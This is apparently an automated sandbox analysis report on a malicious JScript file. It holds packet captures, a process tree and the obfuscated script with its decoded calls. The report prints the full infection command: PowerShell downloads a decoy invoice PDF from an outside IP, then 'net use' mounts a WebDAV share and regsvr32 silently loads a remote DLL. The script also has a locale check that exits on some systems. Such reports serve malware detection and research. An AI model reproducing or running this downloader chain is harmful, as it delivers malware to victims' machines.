6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 10, 2025 18:27:23.174871922 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:27:23.174890041 CET	448	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:27:23.174906969 CET	1236	IN	Data Raw: ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d 9a Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 18:27:23.174925089 CET	1236	IN	Data Raw: b1 a1 3b 69 ea 9b 13 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 Data Ascii: ;i4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3
Jan 10, 2025 18:27:23.174941063 CET	1236	IN	Data Raw: df 9c 00 00 00 a6 c1 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&
Jan 10, 2025 18:27:23.174951077 CET	1236	IN	Data Raw: b4 70 a7 1d 7d 51 c2 df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 Data Ascii: p}QqZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1K
Jan 10, 2025 18:27:23.174967051 CET	1236	IN	Data Raw: fc 74 90 cf 08 2d f7 c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 Data Ascii: t-9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCN
Jan 10, 2025 18:27:23.174985886 CET	552	IN	Data Raw: e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd 9d Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap,
Jan 10, 2025 18:27:23.175005913 CET	1236	IN	Data Raw: e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 5f Data Ascii: qZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P
Jan 10, 2025 18:27:23.179816961 CET	555	IN	Data Raw: 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 30 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	2676	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:27:24.582606077 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:27:25.361387968 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:27:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:27:18
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js"
Imagebase:	0x7ff65ece0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:27:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll
Imagebase:	0x7ff60eb00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:27:19
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:27:19
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:27:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:27:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff60eb00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:27:23
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7403b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:27:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:27:24
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:27:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1752,i,9126985181628110033,4976645191592009449,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wbffg() {	wbffg() ➔ undefined
1	zcxqe = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gnriseb = this[lstgnbqu + qukarwai + gjfmkn + xyjkqa + ctckuaf + dwlccodc + kvhuflr + fvydmkqn] ( this[lfynezz + wuysc + vitwjm + gjfmkn + oofpz + lstgnbqu + fvydmkqn][njepgx + gjfmkn + ctckuaf + qukarwai + fvydmkqn + ctckuaf + yqmmk + zhwebkrv + rhggk + ctckuaf + vitwjm + fvydmkqn] ( lfynezz + wuysc + vitwjm + gjfmkn + oofpz + lstgnbqu + fvydmkqn + mfjoqblsk + wuysc + wxujatv + ctckuaf + wtxkejobq + wtxkejobq ) [lwstsh + ctckuaf + czfkjfer + lwstsh + ctckuaf + qukarwai + xfsehpy] ( iliij + sbisqoqp + hwisvworq + xvzzgpuul + wlgbnnui + njepgx + vnwwvrkql + lwstsh + lwstsh + hwisvworq + fzbpi + yzipm + wlgbnnui + vnwwvrkql + wuysc + hwisvworq + lwstsh + imlgemxzj + njepgx + hbdvsobn + kvhuflr + fvydmkqn + gjfmkn + hbdvsobn + wtxkejobq + cuylgf + oaxuo + qukarwai + kvhuflr + ctckuaf + wtxkejobq + imlgemxzj + dwlccodc + kvhuflr + fvydmkqn + ctckuaf + gjfmkn + kvhuflr + qukarwai + fvydmkqn + oofpz + hbdvsobn + kvhuflr + qukarwai + wtxkejobq + imlgemxzj + nopkftzly + hbdvsobn + vitwjm + qukarwai + wtxkejobq + ctckuaf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nidwohmbw = 0 ; nidwohmbw < zcxqe[wtxkejobq + ctckuaf + kvhuflr + czfkjfer + fvydmkqn + wxujatv] ; ++ nidwohmbw )
4	{
5	if ( gnriseb == zcxqe[nidwohmbw] )
6	{
7	gnriseb = true;
8	break ;
9	}
10	}
11	if ( gnriseb !== true )
12	this[lfynezz + wuysc + vitwjm + gjfmkn + oofpz + lstgnbqu + fvydmkqn][cedelvout + efueux + oofpz + fvydmkqn] ( );
13	this[lfynezz + wuysc + vitwjm + gjfmkn + oofpz + lstgnbqu + fvydmkqn][njepgx + gjfmkn + ctckuaf + qukarwai + fvydmkqn + ctckuaf + yqmmk + zhwebkrv + rhggk + ctckuaf + vitwjm + fvydmkqn] ( lfynezz + wuysc + vitwjm + gjfmkn + oofpz + lstgnbqu + fvydmkqn + mfjoqblsk + wuysc + wxujatv + ctckuaf + wtxkejobq + wtxkejobq ) [gjfmkn + efueux + kvhuflr] ( vitwjm + lunleifa + xfsehpy + cuylgf + anbidktqf + vitwjm + cuylgf + lstgnbqu + hbdvsobn + aahrrz + ctckuaf + gjfmkn + xyjkqa + wxujatv + ctckuaf + wtxkejobq + wtxkejobq + mfjoqblsk + ctckuaf + kuhuzby + ctckuaf + cuylgf + izwbg + njepgx + hbdvsobn + lunleifa + lunleifa + qukarwai + kvhuflr + xfsehpy + cuylgf + mwilqe + dwlccodc + kvhuflr + juqghyi + hbdvsobn + ohrhryhcw + ctckuaf + izwbg + lfynezz + ctckuaf + zhwebkrv + lwstsh + ctckuaf + ivpcwdfg + efueux + ctckuaf + xyjkqa + fvydmkqn + cuylgf + izwbg + yqmmk + efueux + fvydmkqn + phjysi + oofpz + wtxkejobq + ctckuaf + cuylgf + mahkbum + fvydmkqn + ctckuaf + lunleifa + lstgnbqu + mahkbum + imlgemxzj + oofpz + kvhuflr + juqghyi + hbdvsobn + oofpz + vitwjm + ctckuaf + mfjoqblsk + lstgnbqu + xfsehpy + pczsvz + cuylgf + wxujatv + fvydmkqn + fvydmkqn + lstgnbqu + rhdjnsas + anbidktqf + anbidktqf + axzyurxf + iginhamfr + ectefjk + mfjoqblsk + axzyurxf + xnlox + ectefjk + mfjoqblsk + axzyurxf + mfjoqblsk + pfcfgmr + abncgnbdo + agxgzoz + anbidktqf + oofpz + kvhuflr + juqghyi + hbdvsobn + oofpz + vitwjm + ctckuaf + mfjoqblsk + lstgnbqu + wxujatv + lstgnbqu + mwilqe + cubjfv + cubjfv + xyjkqa + fvydmkqn + qukarwai + gjfmkn + fvydmkqn + cuylgf + mahkbum + fvydmkqn + ctckuaf + lunleifa + lstgnbqu + mahkbum + imlgemxzj + oofpz + kvhuflr + juqghyi + hbdvsobn + oofpz + vitwjm + ctckuaf + mfjoqblsk + lstgnbqu + xfsehpy + pczsvz + cubjfv + cubjfv + vitwjm + lunleifa + xfsehpy + cuylgf + anbidktqf + vitwjm + cuylgf + kvhuflr + ctckuaf + fvydmkqn + cuylgf + efueux + xyjkqa + ctckuaf + cuylgf + imlgemxzj + imlgemxzj + axzyurxf + iginhamfr + ectefjk + mfjoqblsk + axzyurxf + xnlox + ectefjk + mfjoqblsk + axzyurxf + mfjoqblsk + pfcfgmr + abncgnbdo + agxgzoz + uyhqn + hvzcskugo + hvzcskugo + hvzcskugo + hvzcskugo + imlgemxzj + xfsehpy + qukarwai + juqghyi + aahrrz + aahrrz + aahrrz + gjfmkn + hbdvsobn + hbdvsobn + fvydmkqn + imlgemxzj + cubjfv + cubjfv + vitwjm + lunleifa + xfsehpy + cuylgf + anbidktqf + vitwjm + cuylgf + gjfmkn + ctckuaf + czfkjfer + xyjkqa + juqghyi + gjfmkn + ectefjk + pfcfgmr + cuylgf + anbidktqf + xyjkqa + cuylgf + imlgemxzj + imlgemxzj + axzyurxf + iginhamfr + ectefjk + mfjoqblsk + axzyurxf + xnlox + ectefjk + mfjoqblsk + axzyurxf + mfjoqblsk + pfcfgmr + abncgnbdo + agxgzoz + uyhqn + hvzcskugo + hvzcskugo + hvzcskugo + hvzcskugo + imlgemxzj + xfsehpy + qukarwai + juqghyi + aahrrz + aahrrz + aahrrz + gjfmkn + hbdvsobn + hbdvsobn + fvydmkqn + imlgemxzj + axzyurxf + ectefjk + pfcfgmr + xnlox + vwupzhn + axzyurxf + agxgzoz + axzyurxf + axzyurxf + iginhamfr + pfcfgmr + xnlox + axzyurxf + iginhamfr + vwupzhn + mfjoqblsk + xfsehpy + wtxkejobq + wtxkejobq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll",0,false) ➔ 0
14	}
15	uyhqn = "@";
16	vnwwvrkql = "q";
17	vnwwvrkql = "s";
18	vnwwvrkql = "Y";
19	vnwwvrkql = "X";
20	vnwwvrkql = "o";
21	vnwwvrkql = "j";
22	vnwwvrkql = "x";
23	vnwwvrkql = "W";
24	vnwwvrkql = "l";
25	vnwwvrkql = "m";
26	vnwwvrkql = "p";
27	vnwwvrkql = "q";
28	vnwwvrkql = "d";
29	vnwwvrkql = "S";
30	vnwwvrkql = "K";
31	vnwwvrkql = "c";
32	vnwwvrkql = "N";
33	vnwwvrkql = "e";
34	vnwwvrkql = "W";
35	vnwwvrkql = "k";
36	vnwwvrkql = "Y";
37	vnwwvrkql = "f";
38	vnwwvrkql = "W";
39	vnwwvrkql = "R";
40	vnwwvrkql = "r";
41	vnwwvrkql = "d";
42	vnwwvrkql = "u";
43	vnwwvrkql = "U";
44	cuylgf = "q";
45	cuylgf = "x";
46	cuylgf = "V";
47	cuylgf = "d";
48	cuylgf = "A";
49	cuylgf = "Y";
50	cuylgf = "Q";
51	cuylgf = "n";
52	cuylgf = "o";
53	cuylgf = "c";
54	cuylgf = "e";
55	cuylgf = "P";
56	cuylgf = "b";
57	cuylgf = "E";
58	cuylgf = "o";
59	cuylgf = "y";
60	cuylgf = "I";
61	cuylgf = "f";
62	cuylgf = "q";
63	cuylgf = "g";
64	cuylgf = "x";
65	cuylgf = "n";
66	cuylgf = "b";
67	cuylgf = "B";
68	cuylgf = "D";
69	cuylgf = "v";
70	cuylgf = "g";
71	cuylgf = "q";
72	cuylgf = " ";
73	kuhuzby = "Q";
74	kuhuzby = "K";
75	kuhuzby = "d";
76	kuhuzby = "m";
77	kuhuzby = "E";
78	kuhuzby = "K";
79	kuhuzby = "L";
80	kuhuzby = "H";
81	kuhuzby = "G";
82	kuhuzby = "c";
83	kuhuzby = "O";
84	kuhuzby = "V";
85	kuhuzby = "d";
86	kuhuzby = "d";
87	kuhuzby = "t";
88	kuhuzby = "O";
89	kuhuzby = "d";
90	kuhuzby = "n";
91	kuhuzby = "g";
92	kuhuzby = "H";
93	kuhuzby = "q";
94	kuhuzby = "i";
95	kuhuzby = "V";
96	kuhuzby = "E";
97	kuhuzby = "p";
98	kuhuzby = "Q";
99	kuhuzby = "W";
100	kuhuzby = "W";
101	kuhuzby = "Y";
102	kuhuzby = "T";
103	kuhuzby = "M";
104	kuhuzby = "E";
105	kuhuzby = "x";
106	oaxuo = "G";
107	oaxuo = "Z";
108	oaxuo = "O";
109	oaxuo = "N";
110	oaxuo = "S";
111	oaxuo = "H";
112	oaxuo = "a";
113	oaxuo = "p";
114	oaxuo = "M";
115	oaxuo = "O";
116	oaxuo = "L";
117	oaxuo = "E";
118	oaxuo = "C";
119	oaxuo = "O";
120	oaxuo = "j";
121	oaxuo = "d";
122	oaxuo = "e";
123	oaxuo = "E";
124	oaxuo = "e";
125	oaxuo = "t";
126	oaxuo = "t";
127	oaxuo = "h";
128	oaxuo = "d";
129	oaxuo = "G";
130	oaxuo = "i";
131	oaxuo = "i";
132	oaxuo = "L";
133	oaxuo = "z";
134	oaxuo = "m";
135	oaxuo = "y";
136	oaxuo = "g";
137	oaxuo = "u";
138	oaxuo = "o";
139	oaxuo = "g";
140	oaxuo = "f";
141	oaxuo = "P";
142	cedelvout = "E";
143	cedelvout = "Q";
144	cedelvout = "c";
145	cedelvout = "m";
146	cedelvout = "a";
147	cedelvout = "N";
148	cedelvout = "D";
149	cedelvout = "x";
150	cedelvout = "p";
151	cedelvout = "A";
152	cedelvout = "y";
153	cedelvout = "m";
154	cedelvout = "i";
155	cedelvout = "S";
156	cedelvout = "Z";
157	cedelvout = "v";
158	cedelvout = "i";
159	cedelvout = "V";
160	cedelvout = "S";
161	cedelvout = "L";
162	cedelvout = "l";
163	cedelvout = "h";
164	cedelvout = "H";
165	cedelvout = "S";
166	cedelvout = "C";
167	cedelvout = "U";
168	cedelvout = "r";
169	cedelvout = "Q";
170	cedelvout = "O";
171	cedelvout = "s";
172	cedelvout = "d";
173	cedelvout = "Z";
174	cedelvout = "m";
175	cedelvout = "k";
176	cedelvout = "D";
177	cedelvout = "Q";
178	hvzcskugo = "u";
179	hvzcskugo = "h";
180	hvzcskugo = "8";
181	ohrhryhcw = "L";
182	ohrhryhcw = "i";
183	ohrhryhcw = "S";
184	ohrhryhcw = "V";
185	ohrhryhcw = "J";
186	ohrhryhcw = "R";
187	ohrhryhcw = "u";
188	ohrhryhcw = "q";
189	ohrhryhcw = "S";
190	ohrhryhcw = "X";
191	ohrhryhcw = "q";
192	ohrhryhcw = "C";
193	ohrhryhcw = "r";
194	ohrhryhcw = "o";
195	ohrhryhcw = "m";
196	ohrhryhcw = "A";
197	ohrhryhcw = "B";
198	ohrhryhcw = "x";
199	ohrhryhcw = "I";
200	ohrhryhcw = "P";
201	ohrhryhcw = "R";
202	ohrhryhcw = "D";
203	ohrhryhcw = "k";
204	ohrhryhcw = "N";
205	ohrhryhcw = "d";
206	ohrhryhcw = "D";
207	ohrhryhcw = "p";
208	ohrhryhcw = "k";
209	imlgemxzj = "Y";
210	imlgemxzj = "o";
211	imlgemxzj = "G";
212	imlgemxzj = "Q";
213	imlgemxzj = "f";
214	imlgemxzj = "k";
215	imlgemxzj = "B";
216	imlgemxzj = "r";
217	imlgemxzj = "u";
218	imlgemxzj = "T";
219	imlgemxzj = "d";
220	imlgemxzj = "i";
221	imlgemxzj = "I";
222	imlgemxzj = "o";
223	imlgemxzj = "M";
224	imlgemxzj = "I";
225	imlgemxzj = "T";
226	imlgemxzj = "I";
227	imlgemxzj = "x";
228	imlgemxzj = "z";
229	imlgemxzj = "k";
230	imlgemxzj = "r";
231	imlgemxzj = "I";
232	imlgemxzj = "x";
233	imlgemxzj = "t";
234	imlgemxzj = "A";
235	imlgemxzj = "P";
236	imlgemxzj = "x";
237	imlgemxzj = "X";
238	imlgemxzj = "x";
239	imlgemxzj = "f";
240	imlgemxzj = "d";
241	imlgemxzj = "d";
242	imlgemxzj = "P";
243	imlgemxzj = "y";
244	imlgemxzj = "J";
245	imlgemxzj = "g";
246	imlgemxzj = "O";
247	imlgemxzj = "J";
248	imlgemxzj = "T";
249	imlgemxzj = "J";
250	imlgemxzj = "\\";
251	juqghyi = "j";
252	juqghyi = "w";
253	juqghyi = "v";
254	juqghyi = "g";
255	juqghyi = "z";
256	juqghyi = "I";
257	juqghyi = "h";
258	juqghyi = "u";
259	juqghyi = "F";
260	juqghyi = "J";
261	juqghyi = "z";
262	juqghyi = "S";
263	juqghyi = "u";
264	juqghyi = "G";
265	juqghyi = "o";
266	juqghyi = "A";
267	juqghyi = "S";
268	juqghyi = "D";
269	juqghyi = "G";
270	juqghyi = "L";
271	juqghyi = "g";
272	juqghyi = "n";
273	juqghyi = "M";
274	juqghyi = "O";
275	juqghyi = "d";
276	juqghyi = "m";
277	juqghyi = "v";
278	xfsehpy = "w";
279	xfsehpy = "F";
280	xfsehpy = "e";
281	xfsehpy = "D";
282	xfsehpy = "N";
283	xfsehpy = "P";
284	xfsehpy = "O";
285	xfsehpy = "N";
286	xfsehpy = "E";
287	xfsehpy = "c";
288	xfsehpy = "E";
289	xfsehpy = "n";
290	xfsehpy = "f";
291	xfsehpy = "K";
292	xfsehpy = "o";
293	xfsehpy = "y";
294	xfsehpy = "K";
295	xfsehpy = "Z";
296	xfsehpy = "m";
297	xfsehpy = "r";
298	xfsehpy = "U";
299	xfsehpy = "y";
300	xfsehpy = "e";
301	xfsehpy = "X";
302	xfsehpy = "z";
303	xfsehpy = "S";
304	xfsehpy = "U";
305	xfsehpy = "n";
306	xfsehpy = "m";
307	xfsehpy = "N";
308	xfsehpy = "Z";
309	xfsehpy = "P";
310	xfsehpy = "E";
311	xfsehpy = "d";
312	mwilqe = "v";
313	mwilqe = "H";
314	mwilqe = "B";
315	mwilqe = "V";
316	mwilqe = "r";
317	mwilqe = "t";
318	mwilqe = "r";
319	mwilqe = "T";
320	mwilqe = "B";
321	mwilqe = "B";
322	mwilqe = "v";
323	mwilqe = "c";
324	mwilqe = "P";
325	mwilqe = "X";
326	mwilqe = "z";
327	mwilqe = "A";
328	mwilqe = "J";
329	mwilqe = "j";
330	mwilqe = "p";
331	mwilqe = "N";
332	mwilqe = "d";
333	mwilqe = "n";
334	mwilqe = "b";
335	mwilqe = "n";
336	mwilqe = "t";
337	mwilqe = "R";
338	mwilqe = "C";
339	mwilqe = "Z";
340	mwilqe = "N";
341	mwilqe = "W";
342	mwilqe = "I";
343	mwilqe = "A";
344	mwilqe = "\"";
345	anbidktqf = "K";
346	anbidktqf = "w";
347	anbidktqf = "I";
348	anbidktqf = "e";
349	anbidktqf = "O";
350	anbidktqf = "G";
351	anbidktqf = "b";
